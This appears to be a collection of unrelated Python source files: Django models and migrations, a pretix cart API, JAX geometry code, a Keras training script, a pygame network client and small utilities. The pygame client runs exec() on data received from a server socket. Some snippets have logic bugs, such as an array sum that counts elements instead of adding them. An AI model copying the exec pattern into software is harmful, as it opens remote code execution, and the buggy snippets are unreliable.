class Meta:
abstract = True
class Authorable(models.Model):
author = models.ForeignKey(settings.AUTH_USER_MODEL, on_delete=models.CASCADE)
def is_owner(self, author):
return self.author == author
class Meta:
abstract = True
| python |
import math
import os
import random
import re
import sys
import pprint
def simpleArraySum(ar):
suma=0
for i in ar:
suma +=1
print("suma = ", suma)
return suma
if __name__ == '__main__':
fptr= open('T3-1.txt', 'w')
ar_count = int(input().strip())
ar = list(map(int, input().rstrip().split()))
print(ar)
result = simpleArraySum(ar)
fptr.write(str(result) + '\n')
fptr.close() | python |
#
# This file is part of pretix (Community Edition).
#
# Copyright (C) 2014-2020 Raphael Michel and contributors
# Copyright (C) 2020-2021 rami.io GmbH and contributors
#
# This program is free software: you can redistribute it and/or modify it under the terms of the GNU Affero General
# Public License as published by the Free Software Foundation in version 3 of the License.
#
# ADDITIONAL TERMS APPLY: Pursuant to Section 7 of the GNU Affero General Public License, additional terms are
# applicable granting you additional permissions and placing additional restrictions on your usage of this software.
# Please refer to the pretix LICENSE file to obtain the full terms applicable to this work. If you did not receive
# this file, see <https://pretix.eu/about/en/license>.
#
# This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
# warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Affero General Public License for more
# details.
#
# You should have received a copy of the GNU Affero General Public License along with this program. If not, see
# <https://www.gnu.org/licenses/>.
#
from django.db import transaction
from rest_framework import status, viewsets
from rest_framework.decorators import action
from rest_framework.exceptions import ValidationError
from rest_framework.filters import OrderingFilter
from rest_framework.mixins import CreateModelMixin, DestroyModelMixin
from rest_framework.response import Response
from rest_framework.settings import api_settings
from pretix.api.serializers.cart import (
CartPositionCreateSerializer, CartPositionSerializer,
)
from pretix.base.models import CartPosition
from pretix.base.services.locking import NoLockManager
class CartPositionViewSet(CreateModelMixin, DestroyModelMixin, viewsets.ReadOnlyModelViewSet):
serializer_class = CartPositionSerializer
queryset = CartPosition.objects.none()
filter_backends = (OrderingFilter,)
ordering = ('datetime',)
ordering_fields = ('datetime', 'cart_id')
lookup_field = 'id'
permission = 'can_view_orders'
write_permission = 'can_change_orders'
def get_queryset(self):
return CartPosition.objects.filter(
event=self.request.event,
cart_id__endswith="@api"
).select_related('seat').prefetch_related('answers')
def get_serializer_context(self):
ctx = super().get_serializer_context()
ctx['event'] = self.request.event
ctx['quota_cache'] = {}
return ctx
def create(self, request, *args, **kwargs):
serializer = CartPositionCreateSerializer(data=request.data, context=self.get_serializer_context())
serializer.is_valid(raise_exception=True)
with transaction.atomic(), self.request.event.lock():
self.perform_create(serializer)
cp = serializer.instance
serializer = CartPositionSerializer(cp, context=serializer.context)
headers = self.get_success_headers(serializer.data)
return Response(serializer.data, status=status.HTTP_201_CREATED, headers=headers)
@action(detail=False, methods=['POST'])
def bulk_create(self, request, *args, **kwargs):
if not isinstance(request.data, list): # noqa
return Response({"error": "Please supply a list"}, status=status.HTTP_400_BAD_REQUEST)
ctx = self.get_serializer_context()
with transaction.atomic():
serializers = [
CartPositionCreateSerializer(data=d, context=ctx)
for d in request.data
]
lockfn = self.request.event.lock
if not any(s.is_valid(raise_exception=False) for s in serializers):
lockfn = NoLockManager
results = []
with lockfn():
for s in serializers:
if s.is_valid(raise_exception=False):
try:
cp = s.save()
except ValidationError as e:
results.append({
'success': False,
'data': None,
'errors': {api_settings.NON_FIELD_ERRORS_KEY: e.detail},
})
else:
results.append({
'success': True,
'data': CartPositionSerializer(cp, context=ctx).data,
'errors': None,
})
else:
results.append({
'success': False,
'data': None,
'errors': s.errors,
})
return Response({'results': results}, status=status.HTTP_200_OK)
def perform_create(self, serializer):
serializer.save()
| python |
# Endpoint map geodesic on (n-1)-dimensional ellipsoid in Rn
# With Jacobian
from jax import ops, lax, jacfwd, jit, jvp
import jax.numpy as jnp
from scipy import linalg, optimize
from functools import partial
class Locus:
def __init__(self, n,b,T,N,XStart):
self.n = n # dimension of ambient space
self.b = b # ellipsoid coefficients
self.T = T # time
self.N = N # steps
self.dt = T/N # discretisation parameter
self.XStart = XStart # start point of geodesic map
# sample values for 2d ellipsoid in R3
#n = 3
#b = jnp.array([0.9,1.2,1.6]) # ellipsoid coefficients
#T = 1 # time
#N=10 # steps
#dt=T/N # discretisation parameter
#XStart = jnp.array([0.1,0.05]) # start point of geodesic map
#level function
def g(self,x):
return sum(self.b*(x**2))-1
def dg(self,x):
return 2*x*self.b
# rhs of equation in 1st order formulation
def F(self,z,lam):
return jnp.block([z[self.n:],-1/2*self.dg(z[:self.n])*lam])
# 1 step with constrained RK2
def RK2Constr(self,z,lam):
return z+self.dt*self.F(z+1/2*self.dt*self.F(z,lam),lam)
# 1 step map
def RK2(self,z):
q = z[:self.n]
p = z[self.n:]
# compute Lagrange multipliers
den = self.dt**2*jnp.dot(self.b**3,q**2)
m1 = 2*jnp.dot(self.b**2*q,q+self.dt*p)/den
m2 = 4*jnp.dot(self.b,p**2)/den
lam = m1 - jnp.sqrt(m1**2-m2)
return self.RK2Constr(z,lam)
# Chart for ellipsoid - projection to tangent space of XStart and its antipodal
def xC2(self,X):
return (1-sum(self.b[:-1]*(X**2)))/self.b[-1]
def chartS(self,X):
return jnp.block([X,jnp.sqrt(self.xC2(X))])
def chartF(self,X):
return jnp.block([X,-jnp.sqrt(self.xC2(X))])
def DchartS(self,X):
return jnp.block([[jnp.identity(self.n-1)], [-self.b[:-1]*X/(self.b[-1]*jnp.sqrt(self.xC2(X)))]])
def DchartF(self,X):
return jnp.block([[jnp.identity(self.n-1)], [self.b[:-1]*X/(self.b[-1]*jnp.sqrt(self.xC2(X)))]])
def chartSInv(self,X):
return X[:-1]
def chartFInv(self,X):
return X[:-1]
def DchartSInv(self,X):
return jnp.identity(self.n+1)[:-1]
def DchartFInv(self,X):
return jnp.identity(self.n+1)[:-1]
# Endpoint map
def endpt(self,z):
return lax.fori_loop(1,self.N,lambda k,x: self.RK2(x),z)
# Endpoint map at chartS(XStart) maps tangent space to ellipsoid composed. Composed with chart
@partial(jit, static_argnums=(0,))
def endptChart(self,p):
return self.chartFInv(self.endpt(jnp.block([self.chartS(self.XStart),jnp.matmul(self.DchartS(self.XStart),p)]))[:self.n])
# for finding critical points of endpoint map
@partial(jit, static_argnums=(0,))
def LocusChart(self,p):
return jnp.linalg.det(jacfwd(self.endptChart)(p))
# Pseudo-arclength continuation of codim 1 valued map g
def ContFun(xoldold,xold,g,ds):
gold = g(xold)
dg = jacfwd(g)(xold)
n = xold.shape[0]
if len(dg.shape)==1:
dg=dg.reshape(1,n)
v = jnp.transpose(linalg.null_space(dg))
v0=jnp.sign(jnp.dot(v,xold-xoldold))*v/jnp.linalg.norm(v)
v0=v0.flatten()
xpred = xold+ds*v0
def obj(y):
return jnp.block([g(y),jnp.dot(y-xpred,v0)])
return optimize.fsolve(obj,xpred,xtol=1e-6)
@partial(jit, static_argnums=(0,))
def cuspCond(f1,Xa,ds):
# shorthands
x = Xa[:3]
a = Xa[3:]
f2 = lambda x: jvp(f1,(x,),(a,))[1] # 1st derivative in direction a
c1 = f2(x)
c2 = (sum(a**2)-1)/ds
f3 = lambda x: jvp(f2,(x,),(a,))[1] # 2nd derivative in direction a
c3 = jnp.matmul(f3(x),a)
return jnp.block([c1, c2, c3])
@partial(jit, static_argnums=(0,))
def SWCond(f1,Xa):
# shorthands
x = Xa[:3]
a = Xa[3:]
Jac = jacfwd(f1)(x)
f2 = lambda x: jvp(f1,(x,),(a,))[1] # 1st derivative in direction a
f3 = lambda x: jvp(f2,(x,),(a,))[1] # 2nd derivative in direction a
f4 = lambda x: jvp(f3,(x,),(a,))[1] # 3rd derivative in direction a
# consistent solution to v=jnp.linalg.solve(Jac,-f3(x))
b = -f3(x)
vbar = jnp.linalg.solve(jnp.matmul(Jac,jnp.transpose(Jac))+jnp.matmul(a,jnp.transpose(a)),b)
v = jnp.matmul(jnp.transpose(Jac),vbar)
sw = jnp.matmul(f4(x),a) - 3*jnp.matmul(v,b)
return sw
@partial(jit, static_argnums=(0,))
def DCond(f1,p):
#f1=self.endptChart
Jac=jacfwd(f1)(p)
return -Jac[0, 1]*Jac[1, 0]+Jac[0, 0]*Jac[1, 1]-Jac[0, 2]*Jac[2, 0]-Jac[1, 2]*Jac[2, 1]+Jac[0, 0]*Jac[2, 2]+Jac[1, 1]*Jac[2, 2] # trace of 2nd exterior power
def CuspAndDCond(f1,Xa,ds):
c = cuspCond(f1,Xa,ds)
det2 = DCond(f1,Xa[:3])
return jnp.block([c,det2])
| python |
import random
import pandas as pd
import numpy as np
import cv2
import sklearn
import tensorflow as tf
from PIL import Image
from tqdm import tqdm
from keras.backend.tensorflow_backend import set_session
from keras.models import Sequential, Model, load_model
from keras.layers import Flatten, Dense, Lambda, Dropout
from keras.layers import Convolution2D, Cropping2D, MaxPooling2D
from keras.callbacks import EarlyStopping
# from keras.utils.vis_utils import plot_model
from sklearn.model_selection import train_test_split
# Hyperparameters
EPHOCS=10
BATCH_SIZE = 128
STEERING_FACTOR = 1
STEERING_CORRECTION = -0.2
ACTIVATION = 'relu'
# Preprocess
MODEL_NAME = 'model.h5'
GENERATE_AUGMENTED = True
CROP_TOP = 70
CROP_BOTTOM = 25
CROP_LEFT = 5
CROP_RIGHT = 5
STEERING_MIN = 0.1
STEERING_FILTER_PERC = 0.2
# Extra
CONTINUE_MODEL = False
# Config
data_paths = [
'../data/track1_lap1/',
'../data/track1_lap2/',
'../data/track1_lap3_r/',
'../data/recovery/',
'../data/corrections/',
'../data/corrections/',
# '../data/track1_lap_slow/',
'../data/smooth/',
# '../data/straight/',
# '../data/straight/',
# '../data/track2_lap1/',
# '../data/track2_lap2/',
# '../data/recovery_track2/',
]
# Enable memory grow
config = tf.ConfigProto()
config.gpu_options.allow_growth = True # dynamically grow the memory used on the GPU
config.log_device_placement = True # to log device placement (on which device the operation ran)
sess = tf.Session(config=config)
set_session(sess) # set this TensorFlow session as the default session for Keras
# Generator
def generator(samples, batch_size=32):
num_samples = len(samples)
while 1: # Loop forever so the generator never terminates
random.shuffle(samples)
for offset in range(0, num_samples, batch_size):
batch_samples = samples[offset:offset+batch_size]
images = []
angles = []
for batch_sample in batch_samples:
# Load image
center_image = Image.open(batch_sample[0])
center_image = center_image.convert('YCbCr')
center_image = np.asarray(center_image)
center_angle = float(batch_sample[3])
if GENERATE_AUGMENTED == True:
# Get augmentation type from last column
augmentation_type = batch_sample[7]
# Flipped image
if augmentation_type == 1:
center_image = np.fliplr(center_image) * STEERING_FACTOR + STEERING_CORRECTION
center_angle = float(-center_angle)
images.append(center_image)
angles.append(center_angle)
# trim image to only see section with road
X_train = np.array(images)
y_train = np.array(angles)
yield sklearn.utils.shuffle(X_train, y_train)
# Load logs
df_logs = pd.DataFrame()
for i in range(len(data_paths)):
images_path = data_paths[i] + 'IMG/'
df = pd.read_csv(data_paths[i] + 'driving_log.csv',
# nrows=64,
header=None,
names=['center_image', 'left_image', 'center_image', 'steering', 'throttle', 'break', 'speed'],
dtype={'center_image':str,
'left_image':str,
'center_image':str,
'steering':float,
'throttle':float,
'break':float,
'speed':float })
df = df[(abs(df['steering']) > STEERING_MIN) | (random.random() > STEERING_FILTER_PERC) ]
# Replace path with the correct
df.iloc[:, 0] = df.iloc[:,0].apply(lambda p: images_path + p.split('/')[-1])
df.iloc[:, 1] = df.iloc[:,1].apply(lambda p: images_path + p.split('/')[-1])
df.iloc[:, 2] = df.iloc[:,2].apply(lambda p: images_path + p.split('/')[-1])
df_logs = df_logs.append(df)
# Add augmented data
if GENERATE_AUGMENTED == True:
print("Add augmented rows...")
# Create a copy for each augmentation
df_flip_logs = df_logs.copy()
# Add column augmentation 0 for original images
df_logs['augmentation'] = 0
df_flip_logs['augmentation'] = 1
# Append all rows
df_logs = df_logs.append(df_flip_logs)
# Get numpy array
logs = df_logs.values
print()
print()
print("####### Configuration ######")
print()
print("Shape: ", logs.shape)
print("Continue training: ", str(CONTINUE_MODEL))
print("Generate augmented: ", str(GENERATE_AUGMENTED))
print("Model name: ", str(MODEL_NAME))
print("Batch size: ", str(BATCH_SIZE))
print()
print("####### Data ######")
print()
print("First row: ")
print(logs[0])
print()
input("Press Enter to start training...")
# Split in train and validation sets
train_samples, validation_samples = train_test_split(logs, test_size=0.2)
# Create generator for train and validation sets
train_generator = generator(train_samples, batch_size=BATCH_SIZE)
validation_generator = generator(validation_samples, batch_size=BATCH_SIZE)
def build_model():
# BUILD MODEL #
model = Sequential()
# Crop image
model.add(Cropping2D(cropping=((CROP_TOP, CROP_BOTTOM), (CROP_LEFT,CROP_RIGHT)), input_shape=(160,320,3)))
# Normalization range -0.5 <-> 0.5
model.add(Lambda(lambda x: x / 255. - 0.5))
model.add(Convolution2D(24,(5,5), strides=(2, 2), activation=ACTIVATION))
model.add(Dropout(0.3))
model.add(Convolution2D(36,(5,5), strides=(2, 2), activation=ACTIVATION))
model.add(Dropout(0.3))
model.add(Convolution2D(48,(5,5), strides=(2, 2), activation=ACTIVATION))
model.add(Dropout(0.3))
model.add(Convolution2D(64,(3,3), activation=ACTIVATION))
model.add(Dropout(0.3))
model.add(Convolution2D(64,(3,3), activation=ACTIVATION))
model.add(Flatten())
model.add(Dropout(0.2))
model.add(Dense(1100, activation=ACTIVATION))
model.add(Dropout(0.2))
model.add(Dense(100, activation=ACTIVATION))
model.add(Dropout(0.2))
model.add(Dense(50, activation=ACTIVATION))
model.add(Dropout(0.2))
model.add(Dense(10, activation=ACTIVATION))
model.add(Dropout(0.2))
model.add(Dense(1))
return model
if(CONTINUE_MODEL == True):
model = load_model(MODEL_NAME)
else:
model = build_model()
# Compile
model.compile(loss='mse',
optimizer='adam',
metrics=['accuracy'])
early_stop = EarlyStopping(monitor='val_loss',
min_delta=1.e-4,
patience=2,
mode='min')
# Run training
model.fit_generator(train_generator,
steps_per_epoch=np.ceil(len(train_samples)/BATCH_SIZE),
validation_data=validation_generator,
validation_steps=np.ceil(len(validation_samples)/BATCH_SIZE),
epochs=EPHOCS,
verbose=1,
callbacks=[early_stop])
model.save(MODEL_NAME) | python |
#!/usr/bin/env python3
# -*- coding: Utf-8 -*
# Author: aurelien.esnard@u-bordeaux.fr
from model import *
from view import *
from keyboard import *
from network import *
import sys
import pygame
import socket
import errno
### python version ###
print("python version: {}.{}.{}".format(sys.version_info[0], sys.version_info[1], sys.version_info[2]))
print("pygame version: ", pygame.version.ver)
################################################################################
# MAIN #
################################################################################
# parse arguments
if (len(sys.argv) != 6 and len(sys.argv) != 5) :
print("Usage: {} host port nickname".format(sys.argv[0]))
sys.exit()
host = sys.argv[1]
port = int(sys.argv[2])
nickname = sys.argv[3]
nbPlayer = int(sys.argv[4])
if (len(sys.argv)==5):
skin = "dk" ### DK par défaut
else :
skin = sys.argv[5]
connexion_avec_serveur = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connexion_avec_serveur.connect((host, port))
print("Connexion établie avec le serveur sur le port {}".format(port))
# initialization
pygame.display.init()
pygame.font.init()
clock = pygame.time.Clock()
####### Envoie du pseudo au Serveur
#####Récupération de la map via le serveur
mon_fichier= open("maps/map", "w")
msg_recu =connexion_avec_serveur.recv(2048)
mon_fichier.write (msg_recu.decode())
connexion_avec_serveur.sendall(b"ACK")
mon_fichier.close()
model = Model()
model.load_map("maps/map")
msg_recu =connexion_avec_serveur.recv(2048)
exec(msg_recu.decode())
#### Récupération de notre perso et celui de l'adversaire
connexion_avec_serveur.send(str(nickname).encode()) #### Envoie du nickname pour l'adversaire
ACK = connexion_avec_serveur.recv(1000)
connexion_avec_serveur.send(str(skin).encode()) ### Envoie de son choix de skin au serveur
ACK = connexion_avec_serveur.recv(1000)
connexion_avec_serveur.send(str(nbPlayer).encode()) ### Envoie du nombre de joueur que l'on veut dans sa game
ACK = connexion_avec_serveur.recv(1000)
perso_recu =connexion_avec_serveur.recv(2048)
exec("model.add_character(nickname," + perso_recu.decode())
connexion_avec_serveur.send("Perso 1 reçu".encode())
perso_recu =connexion_avec_serveur.recv(2048)
exec(perso_recu.decode())
if (nbPlayer>2): ### Réception du perso Player 3 si il y en a un
perso_recu =connexion_avec_serveur.recv(2048)
exec(perso_recu.decode())
## Lancement du visuel
view = GraphicView(model, nickname)
client = NetworkClientController(model, host, port, nickname, connexion_avec_serveur, nbPlayer)
kb = KeyboardController(client)
# main loop
while True:
# make sure game doesn't run at more than FPS frames per second
dt = clock.tick(FPS)
if not kb.tick(dt): break
if not client.tick(dt): break
model.tick(dt)
view.tick(dt)
# quit
print("Game Over!")
connexion_avec_serveur.close()
pygame.quit()
| python |
# -*- coding: utf-8 -*-
"""Includes functions for copying the PyNX template files."""
import datetime
import os
from distutils.dir_util import copy_tree
from nxstart.utils.files import get_full_path, replace_in_file
def create_pynx_project(folder_path, name, author):
"""
Copies the files from templates/base to folder_path and modifies Makefile and source/main.cpp
to include the project name, author name and current date.
:param folder_path: Path to copy the files to
:param name: Name of the project
:param author: Name of the author
"""
template_folder = get_full_path(os.path.join("templates", "pynx"))
copy_tree(template_folder, folder_path)
main_cpp_file = os.path.join(folder_path, "main.py")
main_cpp_replacements = {
"APP_AUTHOR_PLACEHOLDER": author,
"APP_NAME_PLACEHOLDER": name,
"DATE_PLACEHOLDER": datetime.datetime.now().strftime("%Y-%m-%d"),
}
replace_in_file(main_cpp_file, main_cpp_replacements)
| python |
import pygame
pygame.mixer.pre_init(frequency=44100, size=-16, channels=1, buffer=4096)
directory = ''
def play_sound(sound, time):
sound = pygame.mixer.Sound(sound)
if time == 0:
sound.play()
else:
sound.play(maxtime = time)
def stop_sound(sound):
sound = pygame.mixer.Sound(sound)
sound.stop()
def hit_wall():
play_sound(directory + 'hitwall_sfx.wav', 0)
def level_end():
play_sound(directory + 'levelend_sfx.wav', 0)
def hit_switch():
play_sound(directory + 'switchstep_sfx.wav', 1000)
def step_spike():
play_sound(directory + 'spikestep_sfx.wav', 0)
def bg_music():
bgm = pygame.mixer.Sound('Pyweek_BG_1.wav')
bgm.set_volume(0.3)
bgm.play()
def bg_music_stop():
bgm = pygame.mixer.Sound('Pyweek_BG_1.wav')
bgm.stop() | python |
"""Command-line interface for wamplius."""
import argparse
import logging
import logging.config
log = logging.getLogger(__name__)
def _setup_logging() -> None:
logging.config.dictConfig({
"version": 1,
"formatters": {
"colored": {
"()": "colorlog.ColoredFormatter",
"format": "{log_color}{bold}{levelname:8}{reset} "
"{thin_purple}{name}:{reset} "
"{msg_log_color}{message}",
"style": "{",
"secondary_log_colors": {
"msg": {
"DEBUG": "white",
"INFO": "blue",
"WARNING": "yellow",
"ERROR": "red",
"CRITICAL": "bold_red",
},
},
},
},
"handlers": {
"console": {
"class": "colorlog.StreamHandler",
"formatter": "colored",
},
},
"loggers": {
"aiowamp": {
"level": "DEBUG",
},
"libwampli": {
"level": "DEBUG",
},
"wamplius": {
"level": "DEBUG",
},
},
"root": {
"level": "INFO",
"handlers": [
"console",
],
},
})
def _setup_uvloop() -> None:
try:
import uvloop
except ImportError:
log.info("not using uvloop")
else:
log.info("using uvloop")
uvloop.install()
def get_parser() -> argparse.ArgumentParser:
"""Get the argument parser.
The parser provides the config argument.
"""
parser = argparse.ArgumentParser()
parser.add_argument("-c", "--config", default="config.toml", help="specify config file")
return parser
def run(args: argparse.Namespace) -> None:
"""Run the bot with the given arguments from `get_parser`."""
_setup_logging()
_setup_uvloop()
import wamplius
config = wamplius.load_config(args.config)
bot = wamplius.create_bot(config)
log.info("starting bot")
bot.run(config.discord_token)
def main() -> None:
"""Main entry point.
Parses the command-line arguments and runs the bot.
"""
parser = get_parser()
args = parser.parse_args()
run(args)
if __name__ == "__main__":
main()
| python |
import sys
def input():
return sys.stdin.readline().rstrip()
def isPrime(x):
if x <= 1:
return False
for i in range(2, x):
if i * i > x:
break
if x % i == 0:
return False
return True
def gcd(a, b):
while b:
a, b = b, a % b
return a
def lcm(a, b):
return a // gcd(a, b) * b
N = int(input())
V = list(map(int, input().split()))
V = [ _ for _ in V if isPrime(_) ]
if len(V) == 0:
print(-1)
exit(0)
ans = 1
for i in V:
ans = lcm(ans, i)
print(ans)
| python |
# Generated by Django 3.1.2 on 2022-01-29 07:42
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
import uuid
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('catalogo', 'nnn0001_initial'),
]
operations = [
migrations.CreateModel(
name='Beneficio',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('nombre', models.CharField(help_text='Ingresa el beneficio (p. ej. 10%)', max_length=200)),
],
),
migrations.CreateModel(
name='Categoria',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('nombre', models.CharField(help_text='Ingresa la categoria(p. ej. Salud, Universidades)', max_length=200)),
],
),
migrations.CreateModel(
name='ProductoInstance',
fields=[
('id', models.UUIDField(default=uuid.uuid4, help_text='Unique ID for this particular Producto across whole library', primary_key=True, serialize=False)),
('imprint', models.CharField(max_length=200)),
('due_back', models.DateField(blank=True, null=True)),
('status', models.CharField(blank=True, choices=[('d', 'Maintenance'), ('o', 'On loan'), ('a', 'Available'), ('r', 'Reserved')], default='d', help_text='Producto availability', max_length=1)),
],
options={
'ordering': ['due_back'],
'permissions': (('can_mark_returned', 'Set Producto as returned'),),
},
),
migrations.AlterModelOptions(
name='empresa',
options={'ordering': ['nombre', 'descripcion']},
),
migrations.AlterModelOptions(
name='producto',
options={'ordering': ['nombre', 'empresa']},
),
migrations.RemoveField(
model_name='empresa',
name='name',
),
migrations.RemoveField(
model_name='producto',
name='Empresa',
),
migrations.RemoveField(
model_name='producto',
name='imprint',
),
migrations.RemoveField(
model_name='producto',
name='subject',
),
migrations.RemoveField(
model_name='producto',
name='title',
),
migrations.AddField(
model_name='empresa',
name='date_of_birth',
field=models.DateField(blank=True, null=True),
),
migrations.AddField(
model_name='empresa',
name='date_of_death',
field=models.DateField(blank=True, null=True, verbose_name='died'),
),
migrations.AddField(
model_name='empresa',
name='descripcion',
field=models.CharField(default='d', max_length=100),
preserve_default=False,
),
migrations.AddField(
model_name='empresa',
name='nombre',
field=models.CharField(default='n', max_length=100),
preserve_default=False,
),
migrations.AddField(
model_name='producto',
name='empresa',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='catalogo.empresa'),
),
migrations.AddField(
model_name='producto',
name='nombre',
field=models.CharField(default='n', max_length=100),
preserve_default=False,
),
migrations.AlterField(
model_name='producto',
name='isbn',
field=models.CharField(help_text='13 Character <a href="https://www.isbn-international.org/content/what-isbn">ISBN number</a>', max_length=13, unique=True, verbose_name='ISBN'),
),
migrations.AlterField(
model_name='producto',
name='notas',
field=models.TextField(help_text='Ingresa notas acerca del categoria', max_length=1000),
),
migrations.DeleteModel(
name='Subject',
),
migrations.AddField(
model_name='productoinstance',
name='Producto',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.RESTRICT, to='catalogo.producto'),
),
migrations.AddField(
model_name='productoinstance',
name='borrower',
field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.SET_NULL, to=settings.AUTH_USER_MODEL),
),
migrations.AddField(
model_name='producto',
name='beneficio',
field=models.ForeignKey(null=True, on_delete=django.db.models.deletion.SET_NULL, to='catalogo.beneficio'),
),
migrations.AddField(
model_name='producto',
name='categoria',
field=models.ManyToManyField(help_text='Escoge un categoria de este servicio o producto', to='catalogo.Categoria'),
),
]
| python |
# -*- coding: utf-8 -*-
from io_utils.read.geo_ts_readers.lprm.base_reader import LPRMTs
from io_utils.read.path_config import PathConfig
path_settings = {}
class GeoSMAPLPRMv6Ts(LPRMTs):
# Reader implementation that uses the PATH configuration from above
# implememted subversion that have a set path configuration
_ds_implemented = []
_t0 = 'SCANTIME_MJD'
def __init__(self, dataset_or_path, force_path_group=None,
**kwargs):
if isinstance(dataset_or_path, list):
dataset_or_path = tuple(dataset_or_path)
self.dataset = dataset_or_path
path_config = path_settings[self.dataset] if self.dataset in path_settings.keys() else None
self.path_config = PathConfig(self.dataset, path_config)
ts_path = self.path_config.load_path(force_path_group=force_path_group)
super(GeoSMAPLPRMv6Ts, self).__init__(ts_path, **kwargs)
# check if datasets in reader and in dict match
assert sorted(list(path_settings.keys())) == sorted(GeoSMAPLPRMv6Ts._ds_implemented)
if __name__ == '__main__':
ds = GeoSMAPLPRMv6Ts(r"\\project10\data-read\USERS\wpreimes\LPRM\v61\SMAP_S3_VEGC\timeseries\d",
exact_index=True,
ioclass_kws={'read_bulk': True})
ts = ds.read(15,45) | python |
import sys
import os
import json
from enum import Enum
from .mach_o import LC_SYMTAB
from macholib import MachO
from macholib import mach_o
from shutil import copy2
from shutil import SameFileError
class ReplaceType(Enum):
objc_methname = 1
symbol_table = 2
def replace_in_bytes(method_bytes, name_dict, type):
is_prefix = False
empty_byte = b'\x00'
if not method_bytes.startswith(empty_byte):
is_prefix = True
method_bytes = empty_byte + method_bytes
for key, value in name_dict.items():
if len(key) != len(value):
raise("replace method name with different length may break the mach-o file, ori: " +
key + ", dst: " + value)
if type == ReplaceType.objc_methname:
method_bytes = method_bytes.replace(
empty_byte + key.encode('utf-8') + empty_byte, empty_byte + value.encode('utf-8') + empty_byte)
elif type == ReplaceType.symbol_table:
method_bytes = method_bytes.replace(
b' ' + key.encode('utf-8') + b']', b' ' + value.encode('utf-8') + b']')
if is_prefix:
method_bytes = method_bytes.replace(empty_byte, b'', 1)
return method_bytes
def ch_methname_sect(header, name_dict):
commands = header.commands
lc = None
sect = None
for _, command_tuple in enumerate(commands):
seg = command_tuple[1]
data = command_tuple[2]
if hasattr(seg, 'segname') and seg.segname.rstrip(b'\x00') == b'__TEXT':
for tmp_sect in data:
if tmp_sect.sectname.rstrip(b'\x00') == b'__objc_methname':
lc = command_tuple[0]
sect = tmp_sect
if sect is None:
raise("Can't find __objc_methname section")
sect.section_data = replace_in_bytes(
sect.section_data, name_dict, ReplaceType.objc_methname)
header.mod_dict[lc] = [sect]
def ch_symtab(header, name_dict):
commands = header.commands
for idx, command_tuple in enumerate(commands):
lc = command_tuple[0]
cmd = command_tuple[1]
data = command_tuple[2]
if lc.cmd == LC_SYMTAB:
data = replace_in_bytes(data, name_dict, ReplaceType.symbol_table)
header.mod_dict[lc] = [data]
commands[idx] = (lc, cmd, data)
return
raise("Can't find LC_SYMTAB")
def replace_methname(macho_file, methname_json, output_dir):
"""
Map method names in Mach-O file with the JSON file
"""
if not os.path.isfile(macho_file):
raise("passing not exist file " + macho_file)
if not os.path.isfile(methname_json):
raise("passing not exist file " + methname_json)
if output_dir is not None and not os.path.isdir(output_dir):
raise("passing not exist dir " + output_dir)
macho = MachO.MachO(macho_file)
name_dict = None
with open(methname_json) as json_file:
name_dict = json.load(json_file)
for header in macho.headers:
ch_methname_sect(header, name_dict)
ch_symtab(header, name_dict)
ori_dir, filename = os.path.split(macho_file)
if output_dir is None:
output_dir = ori_dir
output = os.path.join(output_dir, filename)
try:
copy2(macho_file, output_dir)
except SameFileError:
pass
with open(output, 'r+b') as fp:
macho.write(fp)
os.chmod(output, 0o755)
def main():
replace_methname(sys.argv[0], sys.argv[1], sys.argv[2])
if __name__ == '__main__':
main()
| python |
import dsp
class PassThruProcessor(dsp.AudioProcessor):
'''ToDo
'''
def prepare(self, spec: dsp.ProcessorSpec) -> None:
'''ToDo
'''
def process(self, buffer):
'''ToDo
'''
return buffer
def release(self) -> None:
'''ToDo
'''
effect = PassThruProcessor()
param = dsp.AudioParameterBool('1', 'name', False)
effect.add_parameter(parameter=param)
state = effect.state
print(f"state: {state['1']}, fx: {effect.parameters['1'].value}")
effect.parameters['1'].value = True
print(f"state: {state['1']}, fx: {effect.parameters['1'].value}")
effect.state = state
print(f"state: {state['1']}, fx: {effect.parameters['1'].value}")
| python |
from .pve import PVE, BrainT1PVE, MultichannelPVE, FuzzyCMean, MultichannelFuzzyCMean
from .vem import VEM
from .brain_segmentation import BrainT1Segmentation
from .moment_matching import moment_matching
from nipy.testing import Tester
test = Tester().test
bench = Tester().bench
| python |
from setuptools import setup, find_packages
packages = find_packages()
print(packages)
setup(
name = "testapp",
version = "0.0.1",
packages = packages,
data_files=[('', ['__main__.py', ])]
) | python |
import argparse
from textblob import TextBlob
import smartbot.plugin
from smartbot.formatting import Style
class Plugin(smartbot.plugin.Plugin):
"""Perform a Google translation."""
names = ["translate"]
parser = argparse.ArgumentParser(add_help=False)
parser.add_argument("-from", "--from-language", default=None, nargs="?")
parser.add_argument("-to", "--to-language", default="en", nargs="?")
parser.add_argument("message", nargs="*")
def on_command(self, msg, stdin, stdout):
# pre-process args
# this might mess up if "from" or "to" is left out and
# the message contains "from" or "to"
self._push_character(msg["args"], "from", "-", 1)
self._push_character(msg["args"], "to", "-", 1)
try:
args = self.parser.parse_args(msg["args"][1:])
except (argparse.ArgumentError, SystemExit):
return
# get message from the appropriate place
if args.message:
message = " ".join(args.message)
else:
message = stdin.read().strip()
# translate
from_lang = args.from_language
to_lang = args.to_language
message = TextBlob(message)
try:
translated = message.translate(from_lang=from_lang, to=to_lang)
except:
pass
else:
print(translated, file=stdout)
def on_help(self):
return "{} [from {}] [to {}] [{}]".format(
super().on_help(),
self.bot.format("language", Style.underline),
self.bot.format("language", Style.underline),
self.bot.format("text", Style.underline)
)
@staticmethod
def _push_character(args, target, character, n):
try:
i = args.index(target)
args[i] = (character * n) + args[i]
except ValueError:
pass
| python |
# import frappe
# def on_validate(doc, method):
# """
# validate user their should be only one department head
# """
# print "validate in"
# query = """ SELECT name FROM `tabUser` WHERE department='%s' AND
# name IN (SELECT parent FROM `tabUserRole` WHERE role='Department Head')"""%(doc.department)
# record = frappe.db.sql(query)
# if record:
